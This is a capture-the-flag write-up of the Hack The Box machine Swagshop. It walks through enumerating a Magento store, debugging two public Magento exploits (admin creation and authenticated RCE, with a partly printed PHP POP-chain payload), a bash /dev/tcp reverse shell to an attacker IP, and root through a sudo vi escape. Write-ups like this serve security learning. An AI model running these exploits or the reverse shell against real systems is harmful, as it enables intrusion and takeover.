Swagshop Writeup

A cool little box that goes back to the basics. CVE for admin creds, CVE for authenticated RCE. Frustratingly enough, the most difficult part of this box was some python debugging.

Enumeration

Nmap

```
map -A -sV -sT -o nmap 10.10.10.140
```

```
# Nmap 7.80 scan initiated Tue Sep 24 19:48:57 2019 as: nmap -A -sV -sT -o nmap 10.10.10.140
Nmap scan report for swagshop.htb (10.10.10.140)
Host is up (0.092s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://10.10.10.140/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
# Nmap done at Tue Sep 24 19:49:09 2019 -- 1 IP address (1 host up) scanned in 12.58 seconds
```

Pretty standard looking box at this point. Linux machine with ssh and http open. No outdated services here.

Gobuster

```
gobuster dir -u http://10.10.10.140/ -w /usr/share/wordlists/dirb/common.txt
```

```
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/app (Status: 301)
/errors (Status: 301)
/favicon.ico (Status: 200)
/includes (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/lib (Status: 301)
/media (Status: 301)
```

```
/pkginfo (Status: 301)
/server-status (Status: 403)
/shell (Status: 301)
/skin (Status: 301)
/var (Status: 301)
```

A lot of interesting directories show here. Looking inside `/app` reveals that this box is running magento as its CMS.

Looking at the webpage itself shows that it's an e-commerce site, which sells HTB merchandise. Playing around with links doesn't seem to get us very far. There is a login page with the ability to create a new account. However it unfortunately seems to be a rabbit hole.

But, the login page does tell us that there are different directories listed behind `/index.php`. Running `gobuster` again yields some new directories.

```
gobuster dir -u http://10.10.10.140/index.php/ -w /usr/share/wordlists/dirb/common.txt
```

```
/0 (Status: 200)
/admin (Status: 200)
/api (Status: 200)
/catalog (Status: 302)
/checkout (Status: 302)
/cms (Status: 200)
/contacts (Status: 200)
/core (Status: 200)
/enable-cookies (Status: 200)
/home (Status: 200)
/Home (Status: 200)
/install (Status: 302)
/wishlist (Status: 302)
```

`/admin` immediately sticks out, and does show up with a login prompt for administrator. Will definetely keep an eye out for possible credentials.

Magescan

Searching online for "magento vuln scanner" gives us a magescan, a general magento vulnerability scanner.

```
php magescan.phar scan:all http://10.10.10.140/
```

```
Scanning http://10.10.10.140/...


  Magento Information


+-----------+-----------------+
```

Parameter	Value
Edition	Community
Version	1.9.0.0, 1.9.0.1

Installed Modules

No detectable modules were found

Catalog Information

Type	Count
Categories	Unknown
Products	Unknown

Patches

Name	Status
SUPEE-5344	Unknown
SUPEE-5994	Unknown
SUPEE-6285	Unknown
SUPEE-6482	Unknown
SUPEE-6788	Unknown
SUPEE-7405	Unknown
SUPEE-8788	Unknown

Sitemap

Sitemap is not declared in robots.txt
Sitemap is not accessible: http://swagshop.htb/sitemap.xml

Server Technology

Key	Value
Server	Apache/2.4.18 (Ubuntu)

Unreachable Path Check

Path	Response Code	Status
.bzr/	404	Pass
.cvs/	404	Pass
.git/	404	Pass
.git/config	404	Pass
.git/refs/	404	Pass
.gitignore	404	Pass
.hg/	404	Pass
.idea	404	Pass
.svn/	404	Pass
.svn/entries	404	Pass
admin/	404	Pass
admin123/	404	Pass
adminer.php	404	Pass
administrator/	404	Pass
adminpanel/	404	Pass
aittmp/index.php	404	Pass
app/etc/enterprise.xml	404	Pass
app/etc/local.xml	200	Fail
backend/	404	Pass
backoffice/	404	Pass
beheer/	404	Pass
capistrano/config/deploy.rb	404	Pass
chive	404	Pass
composer.json	404	Pass
composer.lock	404	Pass
vendor/composer/installed.json	404	Pass
config/deploy.rb	404	Pass
control/	404	Pass
dev/tests/functional/etc/config.xml	404	Pass

downloader/index.php	404	Pass
index.php/rss/order/NEW/new	302	http://10.10.10.140/
info.php	404	Pass
mageaudit.php	404	Pass
magmi/	404	Pass
magmi/conf/magmi.ini	404	Pass
magmi/web/magmi.php	404	Pass
Makefile	404	Pass
manage/	404	Pass
management/	404	Pass
manager/	404	Pass
modman	404	Pass
p.php	404	Pass
panel/	404	Pass
phpinfo.php	404	Pass
phpmyadmin	404	Pass
README.md	404	Pass
README.txt	404	Pass
shell/	200	Fail
shopadmin/	404	Pass
site_admin/	404	Pass
var/export/	404	Pass
var/export/export_all_products.csv	404	Pass
var/export/export_customers.csv	404	Pass
var/export/export_product_stocks.csv	404	Pass
var/log/	404	Pass
var/log/exception.log	404	Pass
var/log/payment_authnetcim.log	404	Pass
var/log/payment_authorizenet.log	404	Pass
var/log/payment_authorizenet_directpost.log	404	Pass
var/log/payment_cybersource_soap.log	404	Pass
var/log/payment_ogone.log	404	Pass
var/log/payment_payflow_advanced.log	404	Pass
var/log/payment_payflow_link.log	404	Pass
var/log/payment_paypal_billing_agreement.log	404	Pass
var/log/payment_paypal_direct.log	404	Pass
var/log/payment_paypal_express.log	404	Pass
var/log/payment_paypal_standard.log	404	Pass
var/log/payment_paypaluk_express.log	404	Pass
var/log/payment_pbridge.log	404	Pass
var/log/payment_verisign.log	404	Pass
var/log/system.log	404	Pass
var/report/	404	Pass

Getting User

Checking `searchsploit` against magento gives us a couple exploits to work with.
With `magescan`, we're looking specifically for Magento 1.9.0.1 and lower.

```
-------------------------------------------------------------------------------------------
 Exploit Title

-------------------------------------------------------------------------------------------
eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection
eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service)
Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross-Si
Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site Scr
Magento 1.2 - 'downloader/index.php' Cross-Site Scripting
Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution
Magento eCommerce - Local File Disclosure
Magento eCommerce - Remote Code Execution
Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion
Magento Server MAGMI Plugin - Multiple Vulnerabilities
-------------------------------------------------------------------------------------------
Shellcodes: No Result
Papers: No Result
```

The most promising ones seem to already give us a path to user! Looking at the source code for `37977.py`, it's an exploit for setting administrator credentials for magento. After some code cleanup, running it gives us administrator creds `forme:forme`. Checking our credentials against the magento admin login page confirms that the credentials are valid.

The second exploit here, `37811.py`, pairs perfectly with the first. An exploit for authentication, and an authenticated RCE. This exploit isn't plug-and-play, however. Looking at the source code, there are entries that we have to fill out.

```
# Config.
 username = 'forme'
 password = 'forme'
 php_function = 'system'  # Note: we can only pass 1 argument to the function
 install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /a
```

Here I have it already filled out, but that's the easy part. Running the exploit now only gives us errors. Time to debug.

Debugging the Exploit

```
python rce.py http://10.10.10.140/ "whoami"
```

```
Traceback (most recent call last):
  File "37811.py", line 56, in <module>
```

```
    br['login[password]'] = password
  File "/usr/lib/python2.7/dist-packages/mechanize/_mechanize.py", line 796, in __setitem__
    self.form[name] = val
  File "/usr/lib/python2.7/dist-packages/mechanize/_form_controls.py", line 1963, in __setit
    control = self.find_control(name)
  File "/usr/lib/python2.7/dist-packages/mechanize/_form_controls.py", line 2355, in find_co
    return self._find_control(name, type, kind, id, label, predicate, nr)
  File "/usr/lib/python2.7/dist-packages/mechanize/_form_controls.py", line 2448, in _find_c
    raise ControlNotFoundError("no control matching " + description)
mechanize._form_controls.ControlNotFoundError: no control matching name 'login[password]'
```

Right below `# Config` for the exploit, it looks like the payload that actually exploits Magento.

```
# POP chain to pivot into call_user_exec
 payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mai
           '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\"
           'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\"
           'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00
           '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\
           ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(ph
                                                                                      len(ar
```

And below the payload, the setup for the exploit.

```
# Setup the mechanize browser and options
 br = mechanize.Browser()
 #br.set_proxies({"http": "localhost:8080"})
 br.set_handle_robots(False)

 request = br.open(target)

 br.select_form(nr=0)
 br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add
 br.form.fixup()
 br['login[username]'] = username
 br['login[password]'] = password
 br.method = "POST"
 request = br.submit()
 content = request.read()
```

According to the error messages when running the exploit, the problem is somewhere in this block of code. Let's break it down.

- `br = mechanize.Browser()` creates an object that emulates a browser.
- `#br.set_proxies({"http": "localhost:8080"})` forces the browser to use a web proxy, useful for debugging with a tool like Burp.
- `br.set_handle_robots(False)` tells the browser to ignore robots.txt

- `request = br.open(target)` tells our browser to visit target, which is the url supplied to it.
- `br.select_form(nr=0)` chooses the first html form on the webpage
- `br.form.new_control('text', 'login[username]', {'value': username})`, `br.form.fixup()`, `br['login[password]'] = password` set credentials
- `br.method = "POST"`, `request = br.submit()`, and `content = request.read()` log us in to that webpage and saves the output in `content`

It looks like the problem is that our supplied url is wrong. The codeblock wants to browse to a site that takes our admin creds as a login. Changing the url given gives us a different set of errors though.

```
python rce.py http://10.10.10.140/index.php/admin "whoami"
```

```
Traceback (most recent call last):
  File "37811.py", line 55, in <module>
    br['login[username]'] = username
  File "/usr/lib/python2.7/dist-packages/mechanize/_mechanize.py", line 796, in __setitem__
    self.form[name] = val
  File "/usr/lib/python2.7/dist-packages/mechanize/_form_controls.py", line 1963, in __setit
    control = self.find_control(name)
  File "/usr/lib/python2.7/dist-packages/mechanize/_form_controls.py", line 2355, in find_co
    return self._find_control(name, type, kind, id, label, predicate, nr)
  File "/usr/lib/python2.7/dist-packages/mechanize/_form_controls.py", line 2446, in _find_c
    description)
mechanize._form_controls.AmbiguityError: more than one control matching name 'login[username
```

"More than one control matching name 'login[username]'". A pretty vague error, but after some debugging, `br.form.new_control('text', 'login[username]', {'value': username})` and `br['login[username]'] = username` are the cause of this conflict. Commenting one out seems to fix the issue.

```
Traceback (most recent call last):
  File "37811.py", line 63, in <module>
    url = url.group(1)
AttributeError: 'NoneType' object has no attribute 'group'
```

Adding some print statements reveals that `url` isn't getting assigned a value. I'm no expert with regex, but I can guess that url needs to be whatever the value of `ajaxBlockUrl` is. Thankfully, `key` does contain a value, so we don't need to mess with that.

```
# url = re.search("ajaxBlockUrl = \'(.*)\'", content)
# url = url.group(1)
  url = "http://10.10.10.140/index.php/admin/dashboard/ajaxBlock/"
  key = re.search("var FORM_KEY = '(.*)'", content)
```

```
  key = key.group(1)
```

Now we get a new error.

```
Traceback (most recent call last):
  File "37811.py", line 70, in <module>
    tunnel = tunnel.group(1)
AttributeError: 'NoneType' object has no attribute 'group'
```

```
request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_k
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)
```

Looks like `tunnel` isn't receiving a value either. Looking again at the responses from Burp.

```
<div style="margin:20px;">
  <p class="switcher a-right" style="padding:5px 10px;">
     Select Range:
     <select name="period" id="order_orders_period" onchange="changeDiagramsPeriod(this);">
       <option value="24h">Last 24 Hours</option>
       <option value="7d" selected="selected">Last 7 Days</option>
       <option value="1m">Current Month</option>
       <option value="1y">YTD</option>
       <option value="2y">2YTD</option>
     </select>
  </p>
  <br/>
  <p class="a-center" style="width:587px;height:300px; margin:0 auto;">No Data Found</p>
</div>
```

The response says "No Data Found", which is probably why `tunnel` isn't getting a value, as there is no value for `src`. What's interesting are the options, and that we've selected "the Last 7 days". Looking at the exploit code, we can see that it builds a url with `request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)`. and as part of the url, attaches `block/tab_orders/period/7d/?isAjax=true`. Let's see what happens when we change `7d` to another option, like `2y`.

```
python rce.py http://10.10.10.140/index.php/admin "whoami"
```

```
www-data
```

Catching a Shell

With code execution now, getting a reverse shell back is pretty trivial.

```
python auth_rce.py http://10.10.10.140/index.php/admin "/bin/bash
-c '/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"
```

```
Ncat: Version 7.80 ( https://nmap.org/ncat )
```

```
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.140.
Ncat: Connection from 10.10.10.140:52012.
bash: cannot set terminal process group (1283): Inappropriate ioctl for device
bash: no job control in this shell
www-data@swagshop:/var/www/html$
```

Moving to `/home` there is a user named harris, and we can read their `user.txt`

```
a448877277e82f05e5ddf9f90aefbac8
```

Getting Root

Going through our usual enumeration checklist, it turns out `www-data` has sudo permissions to use `vi` in `/var/www/html/*`

```
sudo -l
```

```
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*
```

Searching on GTFOBins, there is a method to get a shell through `vi`. By running `vi` on any file in `/var/www/html`, we can then execute `/bin/bash` inside of `vi`

- `sudo vi /var/www/html/index.php`
- `:!/bin/bash`

```
root@swagshop:/var/www/html# whoami
whoami
root
```

Reading `root.txt` gives us the flag, and a secret

```
c2b087d66e14a652a3b86a130ac56721
```

```
   ___ ___
 /| |/|\| |\
/_| ´ |.‘ |_\           We are open! (Almost)
  |   |.  |
  |   |.  |         Join the beta HTB Swag Store!
  |___|.__|       https://hackthebox.store/password

                  PS: Use root flag as password!
```